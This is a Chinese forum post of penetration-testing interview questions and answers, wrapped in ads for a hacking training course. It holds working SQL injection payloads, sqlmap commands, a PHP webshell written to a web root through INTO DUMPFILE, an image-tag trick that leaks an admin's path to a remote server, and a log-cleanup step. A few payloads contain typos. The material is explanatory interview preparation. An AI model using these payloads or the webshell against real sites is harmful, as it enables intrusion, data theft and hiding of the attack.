找回密码
 立即注册

扫一扫,访问微社区

QQ登录

只需一步,快速开始

搜索

渗透测试安全面试题,nvhack独自整理

必火网络安全培训,渗透测试培训,web渗透培训,持续招生中...必火官网 www.bihuo.cn

  1. 1,做一下简单的自我介绍,经历,工作经验,爱好,自己总结。
  2. 面试题:
  3. 一,给你一个网站你是如何来渗透测试的?
  4.         在获取书面授权的前提下。
  5.         1)信息收集,
  6.                 1,获取域名的whois信息,获取注册者邮箱姓名电话等。
  7.                 2,查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
  8.                 3,查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
  9.                 4,查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
  10.                 5,扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针
  11.                 6,google hack 进一步探测网站的信息,后台,敏感文件
  12.         2)漏洞扫描
  13.                 开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,
  14.                 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
  15.         3)漏洞利用
  16.                 利用以上的方式拿到webshell,或者其他权限
  17.         4)权限提升
  18.                 提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,
  19.                         linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权
  20.         5) 日志清理
  21.         6)总结报告及修复方案
  22. 一,sqlmap,怎么对一个注入点注入?
  23.         1)如果是get型号,直接,sqlmap -u "诸如点网址".
  24.         2) 如果是post型诸如点,可以sqlmap -u "注入点网址” --data="post的参数"
  25.         3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用*号替换,放到文件里,然后sqlmap -r "文件地址"
  26. 二,nmap,扫描的几种方式
  27. 三,sql注入的几种类型?
  28.         1)报错注入
  29.         2)bool型注入
  30.         3)延时注入
  31.         4)宽字节注入
  32. 四,报错注入的函数有哪些? 10个
  33.         1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】----------------
  34.         2)通过floor报错 向下取整
  35.         3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
  36.         4).geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
  37.         5).multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
  38.         6).polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
  39.         7).multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
  40.         8).linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
  41.         9).multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
  42.         10).exp()select * from test where id=1 and exp(~(select * from(select user())a));
  43. 五,延时注入如何来判断?
  44.         if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
  45. 六,盲注和延时注入的共同点?
  46.         都是一个字符一个字符的判断
  47. 七,如何拿一个网站的webshell?
  48.         上传,后台编辑模板,sql注入写文件,命令执行,代码执行,
  49.         一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等
  50. 八,sql注入写文件都有哪些函数?
  51.         select '一句话' into outfile '路径'
  52.         select '一句话' into dumpfile '路径'
  53.         select '<?php eval($_POST[1]) ?>' into dumpfile  'd:\\wwwroot\baidu.com\nvhack.php';
  54. 九,如何防止CSRF?
  55.         1,验证referer
  56.         2,验证token
  57.         详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd
  58. 十,owasp 漏洞都有哪些?
  59.         1、SQL注入防护方法:
  60.         2、失效的身份认证和会话管理
  61.         3、跨站脚本攻击XSS
  62.         4、直接引用不安全的对象
  63.         5、安全配置错误
  64.         6、敏感信息泄露
  65.         7、缺少功能级的访问控制
  66.         8、跨站请求伪造CSRF
  67.         9、使用含有已知漏洞的组件
  68.         10、未验证的重定向和转发
  69. 十一:SQL注入防护方法?
  70.         1、使用安全的API
  71.         2、对输入的特殊字符进行Escape转义处理
  72.         3、使用白名单来规范化输入验证方法
  73.         4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
  74.         5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。
  75. 十二,代码执行,文件读取,命令执行的函数都有哪些?
  76.         1,代码执行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
  77.         2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
  78.         3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
  79. 十三,img标签除了onerror属性外,还有其他获取管理员路径的办法吗?
  80.         src指定一个远程的脚本文件,获取referer
  81. 十四,img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。
  82.         1,远程服务器修改apache配置文件,配置.jpg文件以php方式来解析
  83.         AddType application/x-httpd-php .jpg
  84.         <img src=http://xss.tv/1.jpg> 会以php方式来解析
复制代码


必火网络安全培训,北京实地培训,月月有开班,零基础入门,四个月打造渗透高手。
详情请加微信:18622800700,手机微信同号。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

  • 0 关注
  • 2 粉丝
  • 136 帖子